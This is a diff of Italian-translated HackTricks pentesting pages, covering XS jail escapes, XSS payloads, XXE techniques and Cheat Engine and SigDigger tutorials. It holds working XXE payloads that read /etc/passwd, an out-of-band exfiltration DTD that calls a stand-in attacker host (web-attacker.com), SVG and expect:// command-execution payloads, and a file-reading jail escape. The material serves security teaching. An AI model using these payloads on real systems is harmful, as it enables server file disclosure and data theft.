### Cache di Chrome a XSS
|
||||
### Chrome Cache to XSS
|
||||
|
||||
{{#ref}}
|
||||
chrome-cache-to-xss.md
|
||||
{{#endref}}
|
||||
|
||||
### Escape da XS Jails
|
||||
### XS Jails Escape
|
||||
|
||||
Se hai solo un insieme limitato di caratteri da utilizzare, controlla queste altre soluzioni valide per i problemi di XSJail:
|
||||
```javascript
|
||||
@ -991,7 +995,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Accessing `require` indirectly
|
||||
|
||||
[Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono incapsulati da Node.js all'interno di una funzione, in questo modo:
|
||||
[Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono racchiusi da Node.js all'interno di una funzione, in questo modo:
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
@ -1469,7 +1473,7 @@ Puoi anche usare: [https://xsshunter.com/](https://xsshunter.com)
|
||||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
### Regex - Accesso ai Contenuti Nascosti
|
||||
### Regex - Access Hidden Content
|
||||
|
||||
Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
|
||||
```javascript
|
||||
|
||||
@ -65,7 +65,7 @@ In questo terzo caso notiamo che stiamo dichiarando l'`Element stockCheck` come
|
||||
|
||||
### Elenco delle directory
|
||||
|
||||
In applicazioni basate su **Java** potrebbe essere possibile **elencare i contenuti di una directory** tramite XXE con un payload come (chiedendo solo la directory invece del file):
|
||||
In applicazioni basate su **Java** potrebbe essere possibile **elencare i contenuti di una directory** tramite XXE con un payload come (richiedendo solo la directory invece del file):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
@ -91,7 +91,7 @@ Utilizzando la **tecnica precedentemente commentata** puoi far accedere il serve
|
||||
```
|
||||
### "Blind" SSRF - Exfiltrare dati out-of-band
|
||||
|
||||
**In questa occasione faremo caricare al server un nuovo DTD con un payload malevolo che invierà il contenuto di un file tramite richiesta HTTP (per file su più righe potresti provare a esfiltrarlo tramite \_ftp://**\_ utilizzando questo server di base per esempio [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Questa spiegazione si basa su** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
**In questa occasione faremo in modo che il server carichi un nuovo DTD con un payload malevolo che invierà il contenuto di un file tramite richiesta HTTP (per file su più righe potresti provare a esfiltrarlo tramite \_ftp://**\_ utilizzando questo server di base ad esempio [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Questa spiegazione si basa su** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.**
|
||||
|
||||
Nel DTD malevolo fornito, vengono eseguiti una serie di passaggi per esfiltrare dati:
|
||||
|
||||
@ -121,7 +121,7 @@ L'attaccante ospita questo DTD malevolo su un server sotto il proprio controllo,
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Questo payload definisce un'entità parametro XML `%xxe` e la incorpora all'interno del DTD. Quando viene elaborato da un parser XML, questo payload recupera il DTD esterno dal server dell'attaccante. Il parser quindi interpreta il DTD inline, eseguendo i passaggi delineati nel DTD malevolo e portando all'exfiltrazione del file `/etc/hostname` al server dell'attaccante.
|
||||
Questo payload definisce un'entità parametro XML `%xxe` e la incorpora all'interno del DTD. Quando elaborato da un parser XML, questo payload recupera il DTD esterno dal server dell'attaccante. Il parser quindi interpreta il DTD inline, eseguendo i passaggi delineati nel DTD malevolo e portando all'exfiltrazione del file `/etc/hostname` al server dell'attaccante.
|
||||
|
||||
### Error Based(External DTD)
|
||||
|
||||
@ -132,7 +132,7 @@ Un messaggio di errore di parsing XML, che rivela i contenuti del file `/etc/pas
|
||||
1. Viene definita un'entità parametro XML chiamata `file`, che contiene i contenuti del file `/etc/passwd`.
|
||||
2. Viene definita un'entità parametro XML chiamata `eval`, che incorpora una dichiarazione dinamica per un'altra entità parametro XML chiamata `error`. Questa entità `error`, quando valutata, tenta di caricare un file inesistente, incorporando i contenuti dell'entità `file` come suo nome.
|
||||
3. L'entità `eval` viene invocata, portando alla dichiarazione dinamica dell'entità `error`.
|
||||
4. L'invocazione dell'entità `error` porta a un tentativo di caricare un file inesistente, producendo un messaggio di errore che include i contenuti del file `/etc/passwd` come parte del nome del file.
|
||||
4. L'invocazione dell'entità `error` comporta un tentativo di caricare un file inesistente, producendo un messaggio di errore che include i contenuti del file `/etc/passwd` come parte del nome del file.
|
||||
|
||||
Il DTD esterno malevolo può essere invocato con il seguente XML:
|
||||
```xml
|
||||
@ -150,7 +150,7 @@ _**Si prega di notare che il DTD esterno ci consente di includere un'entità all
|
||||
|
||||
E per quanto riguarda le vulnerabilità XXE cieche quando **le interazioni out-of-band sono bloccate** (le connessioni esterne non sono disponibili)?
|
||||
|
||||
Una falla nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errore. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.
|
||||
Una falla nella specifica del linguaggio XML può **esporre dati sensibili attraverso messaggi di errore quando il DTD di un documento mescola dichiarazioni interne ed esterne**. Questo problema consente la ridefinizione interna di entità dichiarate esternamente, facilitando l'esecuzione di attacchi XXE basati su errori. Tali attacchi sfruttano la ridefinizione di un'entità parametro XML, originariamente dichiarata in un DTD esterno, da un DTD interno. Quando le connessioni out-of-band sono bloccate dal server, gli attaccanti devono fare affidamento su file DTD locali per condurre l'attacco, mirando a indurre un errore di parsing per rivelare informazioni sensibili.
|
||||
|
||||
Considera uno scenario in cui il filesystem del server contiene un file DTD in `/usr/local/app/schema.dtd`, che definisce un'entità chiamata `custom_entity`. Un attaccante può indurre un errore di parsing XML rivelando il contenuto del file `/etc/passwd` inviando un DTD ibrido come segue:
|
||||
```xml
|
||||
@ -168,7 +168,7 @@ Considera uno scenario in cui il filesystem del server contiene un file DTD in `
|
||||
I passaggi delineati sono eseguiti da questo DTD:
|
||||
|
||||
- La definizione di un'entità parametro XML chiamata `local_dtd` include il file DTD esterno situato nel filesystem del server.
|
||||
- Si verifica una ridefinizione per l'entità parametro XML `custom_entity`, originariamente definita nel DTD esterno, per racchiudere un [error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Questa ridefinizione è progettata per provocare un errore di parsing, esponendo il contenuto del file `/etc/passwd`.
|
||||
- Si verifica una ridefinizione per l'entità parametro XML `custom_entity`, originariamente definita nel DTD esterno, per racchiudere un [exploit XXE basato su errore](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Questa ridefinizione è progettata per provocare un errore di parsing, esponendo il contenuto del file `/etc/passwd`.
|
||||
- Utilizzando l'entità `local_dtd`, il DTD esterno viene attivato, comprendendo la nuova entità definita `custom_entity`. Questa sequenza di azioni provoca l'emissione del messaggio di errore previsto dall'exploit.
|
||||
|
||||
**Esempio del mondo reale:** I sistemi che utilizzano l'ambiente desktop GNOME hanno spesso un DTD in `/usr/share/yelp/dtd/docbookx.dtd` contenente un'entità chiamata `ISOamso`.
|
||||
@ -205,7 +205,7 @@ Nel seguente fantastico repo di github puoi trovare **percorsi di DTD che posson
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Inoltre, se hai l'**immagine Docker del sistema vittima**, puoi utilizzare lo strumento dello stesso repo per **scansionare** l'**immagine** e **trovare** il percorso delle **DTD** presenti all'interno del sistema. Leggi il [Readme del github](https://github.com/GoSecure/dtd-finder) per sapere come.
|
||||
Inoltre, se hai **l'immagine Docker del sistema vittima**, puoi utilizzare lo strumento dello stesso repo per **scansionare** l'**immagine** e **trovare** il percorso delle **DTD** presenti all'interno del sistema. Leggi il [Readme del github](https://github.com/GoSecure/dtd-finder) per sapere come.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -235,7 +235,7 @@ Ora, il file creato può essere caricato nell'applicazione web potenzialmente vu
|
||||
|
||||
### Jar: protocollo
|
||||
|
||||
Il **protocollo jar** è reso accessibile esclusivamente all'interno delle **applicazioni Java**. È progettato per consentire l'accesso ai file all'interno di un **archivio PKZIP** (ad es., `.zip`, `.jar`, ecc.), soddisfacendo sia i file locali che quelli remoti.
|
||||
Il **protocollo jar** è reso accessibile esclusivamente all'interno delle **applicazioni Java**. È progettato per consentire l'accesso ai file all'interno di un **archivio PKZIP** (ad es., `.zip`, `.jar`, ecc.), per file locali e remoti.
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
@ -320,15 +320,15 @@ Controlla [https://portswigger.net/web-security/xxe](https://portswigger.net/web
|
||||
|
||||
### SVG - Caricamento File
|
||||
|
||||
I file caricati dagli utenti su determinate applicazioni, che vengono poi elaborati sul server, possono sfruttare vulnerabilità nel modo in cui vengono gestiti i file XML o i formati di file contenenti XML. Formati di file comuni come documenti di office (DOCX) e immagini (SVG) si basano su XML.
|
||||
I file caricati dagli utenti su determinate applicazioni, che vengono poi elaborati sul server, possono sfruttare vulnerabilità nel modo in cui vengono gestiti i file XML o i formati di file che contengono XML. Formati di file comuni come documenti di office (DOCX) e immagini (SVG) si basano su XML.
|
||||
|
||||
Quando gli utenti **caricano immagini**, queste immagini vengono elaborate o convalidate lato server. Anche per le applicazioni che si aspettano formati come PNG o JPEG, la **libreria di elaborazione delle immagini del server potrebbe supportare anche le immagini SVG**. SVG, essendo un formato basato su XML, può essere sfruttato dagli attaccanti per inviare immagini SVG dannose, esponendo così il server a vulnerabilità XXE (XML External Entity).
|
||||
Quando gli utenti **caricano immagini**, queste immagini vengono elaborate o convalidate lato server. Anche per le applicazioni che si aspettano formati come PNG o JPEG, la **libreria di elaborazione delle immagini del server potrebbe supportare anche immagini SVG**. SVG, essendo un formato basato su XML, può essere sfruttato dagli attaccanti per inviare immagini SVG dannose, esponendo così il server a vulnerabilità XXE (XML External Entity).
|
||||
|
||||
Un esempio di tale exploit è mostrato di seguito, dove un'immagine SVG dannosa tenta di leggere file di sistema:
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
Un altro metodo prevede di **eseguire comandi** tramite il wrapper PHP "expect":
|
||||
Un altro metodo prevede di **eseguire comandi** attraverso il wrapper PHP "expect":
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||
<image xlink:href="expect://ls"></image>
|
||||
@ -368,7 +368,7 @@ Content-Length: 52
|
||||
```
|
||||
### Content-Type: Da JSON a XEE
|
||||
|
||||
Per modificare la richiesta puoi utilizzare un'estensione di Burp chiamata “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
|
||||
Per modificare la richiesta puoi utilizzare un'estensione di Burp chiamata “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) puoi trovare questo esempio:
|
||||
```xml
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
|
||||
@ -408,7 +408,7 @@ Questo funziona solo se il server XML accetta il protocollo `data://`.
|
||||
|
||||
### UTF-7
|
||||
|
||||
Puoi usare il \[**"Encode Recipe**" di cyberchef qui ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) per trasformare in UTF-7.
|
||||
Puoi usare la \[**"Encode Recipe**" di cyberchef qui ]\(\[[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) per trasformare in UTF-7.
|
||||
```xml
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
@ -679,13 +679,13 @@ https://github.com/luisfontes19/xxexploiter
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
|
||||
- Estrai informazioni tramite HTTP utilizzando il proprio DTD esterno: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
|
||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
|
||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
||||
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
|
||||
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
|
||||
- Estrai informazioni tramite HTTP utilizzando il proprio DTD esterno: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
|
||||
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
|
||||
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)
|
||||
- [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
|
||||
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) è un programma utile per trovare dove vengono salvati valori importanti all'interno della memoria di un gioco in esecuzione e modificarli.\
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) è un programma utile per trovare dove vengono salvati valori importanti nella memoria di un gioco in esecuzione e modificarli.\
|
||||
Quando lo scarichi e lo esegui, ti viene **presentato** un **tutorial** su come utilizzare lo strumento. Se vuoi imparare a usare lo strumento, è altamente consigliato completarlo.
|
||||
|
||||
## Cosa stai cercando?
|
||||
@ -10,7 +10,7 @@ Quando lo scarichi e lo esegui, ti viene **presentato** un **tutorial** su come
|
||||
.png>)
|
||||
|
||||
Questo strumento è molto utile per trovare **dove alcuni valori** (di solito un numero) **sono memorizzati nella memoria** di un programma.\
|
||||
**Di solito i numeri** sono memorizzati in forma di **4byte**, ma potresti anche trovarli in formati **double** o **float**, o potresti voler cercare qualcosa **di diverso da un numero**. Per questo motivo devi essere sicuro di **selezionare** ciò che vuoi **cercare**:
|
||||
**Di solito i numeri** sono memorizzati in forma di **4byte**, ma potresti anche trovarli in formati **double** o **float**, o potresti voler cercare qualcosa di **diverso da un numero**. Per questo motivo, devi essere sicuro di **selezionare** ciò che vuoi **cercare**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -30,7 +30,7 @@ In _**Modifica --> Impostazioni --> Tasti di scelta rapida**_ puoi impostare div
|
||||
|
||||
## Modificare il valore
|
||||
|
||||
Una volta che hai **trovato** dove si trova il **valore** che stai **cercando** (di più su questo nei passaggi successivi), puoi **modificarlo** facendo doppio clic su di esso, quindi facendo doppio clic sul suo valore:
|
||||
Una volta che hai **trovato** dove si trova il **valore** che stai **cercando** (maggiore informazione su questo nei passaggi successivi), puoi **modificarlo** facendo doppio clic su di esso, quindi facendo doppio clic sul suo valore:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -55,7 +55,7 @@ Poi, fai qualcosa affinché **il valore cambi**, e **ferma** il gioco e **esegui
|
||||
.png>)
|
||||
|
||||
Cheat Engine cercherà i **valori** che **sono passati da 100 al nuovo valore**. Congratulazioni, hai **trovato** l'**indirizzo** del valore che stavi cercando, ora puoi modificarlo.\
|
||||
&#xNAN;_Se hai ancora diversi valori, fai qualcosa per modificare di nuovo quel valore e esegui un'altra "scansione successiva" per filtrare gli indirizzi._
|
||||
_Se hai ancora diversi valori, fai qualcosa per modificare di nuovo quel valore e esegui un'altra "scansione successiva" per filtrare gli indirizzi._
|
||||
|
||||
### Valore sconosciuto, cambiamento noto
|
||||
|
||||
@ -65,7 +65,7 @@ Quindi, inizia eseguendo una scansione di tipo "**Valore iniziale sconosciuto**"
|
||||
|
||||
.png>)
|
||||
|
||||
Poi, fai cambiare il valore, indica **come** il **valore** **è cambiato** (nel mio caso è diminuito di 1) e esegui una **scansione successiva**:
|
||||
Poi, fai cambiare il valore, indica **come** il **valore** **è cambiato** (nel mio caso è diminuito di 1) ed esegui una **scansione successiva**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -75,13 +75,13 @@ Ti verranno presentati **tutti i valori che sono stati modificati nel modo selez
|
||||
|
||||
Una volta trovato il tuo valore, puoi modificarlo.
|
||||
|
||||
Nota che ci sono **molti possibili cambiamenti** e puoi fare questi **passaggi quante più volte vuoi** per filtrare i risultati:
|
||||
Nota che ci sono **molti cambiamenti possibili** e puoi fare questi **passaggi quante più volte vuoi** per filtrare i risultati:
|
||||
|
||||
.png>)
|
||||
|
||||
### Indirizzo di memoria casuale - Trovare il codice
|
||||
|
||||
Fino ad ora abbiamo imparato come trovare un indirizzo che memorizza un valore, ma è altamente probabile che in **diverse esecuzioni del gioco quell'indirizzo si trovi in posti diversi della memoria**. Quindi scopriamo come trovare sempre quell'indirizzo.
|
||||
Fino ad ora abbiamo imparato come trovare un indirizzo che memorizza un valore, ma è altamente probabile che in **diverse esecuzioni del gioco quell'indirizzo si trovi in posti diversi della memoria**. Quindi vediamo come trovare sempre quell'indirizzo.
|
||||
|
||||
Utilizzando alcuni dei trucchi menzionati, trova l'indirizzo dove il tuo gioco attuale sta memorizzando il valore importante. Poi (ferma il gioco se lo desideri) fai **clic destro** sull'**indirizzo** trovato e seleziona "**Scopri cosa accede a questo indirizzo**" o "**Scopri cosa scrive a questo indirizzo**":
|
||||
|
||||
|
||||
@ -9,7 +9,7 @@
|
||||
### Configurazione di base
|
||||
|
||||
Dopo l'installazione ci sono alcune cose che potresti considerare di configurare.\
|
||||
Nelle impostazioni (il secondo pulsante della scheda) puoi selezionare il **dispositivo SDR** o **selezionare un file** da leggere e quale frequenza sintonizzare e il tasso di campionamento (consigliato fino a 2.56Msps se il tuo PC lo supporta)\\
|
||||
Nelle impostazioni (il secondo pulsante della scheda) puoi selezionare il **dispositivo SDR** o **selezionare un file** da leggere e quale frequenza sintonizzare e il tasso di campionamento (consigliato fino a 2.56Msps se il tuo PC lo supporta)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -26,7 +26,7 @@ Nel comportamento della GUI è consigliato abilitare alcune cose se il tuo PC lo
|
||||
|
||||
.png>)
|
||||
|
||||
- Il **Tuner** di SigDigger aiuta a **catturare segnali migliori** (ma può anche degradarli). Idealmente inizia da 0 e continua a **aumentarlo fino a** trovare il **rumore** introdotto che è **maggiore** del **miglioramento del segnale** di cui hai bisogno).
|
||||
- Il **Tuner** di SigDigger aiuta a **catturare segnali migliori** (ma può anche degradarli). Idealmente inizia da 0 e continua a **aumentarlo fino a** trovare che il **rumore** introdotto è **maggiore** del **miglioramento del segnale** di cui hai bisogno.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -38,8 +38,8 @@ Con [**SigDigger** ](https://github.com/BatchDrake/SigDigger)sincronizza con il
|
||||
|
||||
## Trucchi interessanti
|
||||
|
||||
- Quando un dispositivo sta inviando burst di informazioni, di solito la **prima parte sarà un preambolo** quindi **non** devi **preoccuparti** se **non trovi informazioni** lì **o se ci sono alcuni errori**.
|
||||
- Nei frame di informazioni di solito dovresti **trovare diversi frame ben allineati tra loro**:
|
||||
- Quando un dispositivo sta inviando burst di informazioni, di solito la **prima parte sarà un preambolo**, quindi **non** devi **preoccuparti** se **non trovi informazioni** lì **o se ci sono alcuni errori**.
|
||||
- Nei frame di informazioni dovresti di solito **trovare diversi frame ben allineati tra loro**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -55,12 +55,12 @@ Se stai controllando un segnale ci sono diversi modi per cercare di capire cosa
|
||||
|
||||
.png>)
|
||||
|
||||
- **Rilevamento AM**: Se nel grafico IQ appare ad esempio **2 cerchi** (probabilmente uno in 0 e l'altro in un'ampiezza diversa), potrebbe significare che questo è un segnale AM. Questo perché nel grafico IQ la distanza tra lo 0 e il cerchio è l'ampiezza del segnale, quindi è facile visualizzare diverse ampiezze utilizzate.
|
||||
- **Rilevamento PM**: Come nell'immagine precedente, se trovi piccoli cerchi non correlati tra loro probabilmente significa che viene utilizzata una modulazione di fase. Questo perché nel grafico IQ, l'angolo tra il punto e lo 0,0 è la fase del segnale, quindi significa che vengono utilizzate 4 fasi diverse.
|
||||
- **Rilevamento AM**: Se nel grafico IQ appare ad esempio **2 cerchi** (probabilmente uno in 0 e l'altro in un'ampiezza diversa), potrebbe significare che questo è un segnale AM. Questo perché nel grafico IQ la distanza tra 0 e il cerchio è l'ampiezza del segnale, quindi è facile visualizzare diverse ampiezze utilizzate.
|
||||
- **Rilevamento PM**: Come nell'immagine precedente, se trovi piccoli cerchi non correlati tra loro probabilmente significa che viene utilizzata una modulazione di fase. Questo perché nel grafico IQ, l'angolo tra il punto e il 0,0 è la fase del segnale, quindi significa che vengono utilizzate 4 fasi diverse.
|
||||
- Nota che se le informazioni sono nascoste nel fatto che una fase è cambiata e non nella fase stessa, non vedrai fasi diverse chiaramente differenziate.
|
||||
- **Rilevamento FM**: IQ non ha un campo per identificare le frequenze (la distanza dal centro è l'ampiezza e l'angolo è la fase).\
|
||||
Pertanto, per identificare FM, dovresti **vedere solo fondamentalmente un cerchio** in questo grafico.\
|
||||
Inoltre, una frequenza diversa è "rappresentata" dal grafico IQ da una **accelerazione della velocità attraverso il cerchio** (quindi in SysDigger selezionando il segnale il grafico IQ si popola, se trovi un'accelerazione o un cambiamento di direzione nel cerchio creato potrebbe significare che questo è FM):
|
||||
Inoltre, una frequenza diversa è "rappresentata" dal grafico IQ da una **accelerazione di velocità attraverso il cerchio** (quindi in SysDigger selezionando il segnale il grafico IQ si popola, se trovi un'accelerazione o un cambiamento di direzione nel cerchio creato potrebbe significare che questo è FM):
|
||||
|
||||
## Esempio AM
|
||||
|
||||
@ -70,9 +70,9 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
|
||||
|
||||
### Scoprire AM
|
||||
|
||||
#### Controllare l'inviluppo
|
||||
#### Controllare l'involucro
|
||||
|
||||
Controllando le informazioni AM con [**SigDigger** ](https://github.com/BatchDrake/SigDigger) e semplicemente guardando l'**inviluppo** puoi vedere diversi livelli di ampiezza chiari. Il segnale utilizzato sta inviando impulsi con informazioni in AM, ecco come appare un impulso:
|
||||
Controllando le informazioni AM con [**SigDigger** ](https://github.com/BatchDrake/SigDigger) e semplicemente guardando l'**involucro** puoi vedere diversi livelli di ampiezza chiari. Il segnale utilizzato sta inviando impulsi con informazioni in AM, ecco come appare un impulso:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -127,19 +127,19 @@ Premendo campione appare questo:
|
||||
|
||||
.png>)
|
||||
|
||||
Ora, per far capire a SigDigger **dove si trova l'intervallo** del livello che trasporta informazioni devi cliccare sul **livello più basso** e mantenere premuto fino al livello più alto:
|
||||
Ora, per far capire a SigDigger **dove si trova l'intervallo** del livello che trasporta informazioni, devi cliccare sul **livello più basso** e mantenere premuto fino al livello più alto:
|
||||
|
||||
.png>)
|
||||
|
||||
Se ci fossero stati ad esempio **4 livelli di ampiezza diversi**, dovresti configurare i **Bit per simbolo a 2** e selezionare dal più piccolo al più grande.
|
||||
Se ci fossero stati ad esempio **4 livelli di ampiezza diversi**, avresti dovuto configurare i **Bit per simbolo a 2** e selezionare dal più piccolo al più grande.
|
||||
|
||||
Infine **aumentando** lo **Zoom** e **cambiando la dimensione della riga** puoi vedere i bit (e puoi selezionare tutto e copiare per ottenere tutti i bit):
|
||||
|
||||
.png>)
|
||||
|
||||
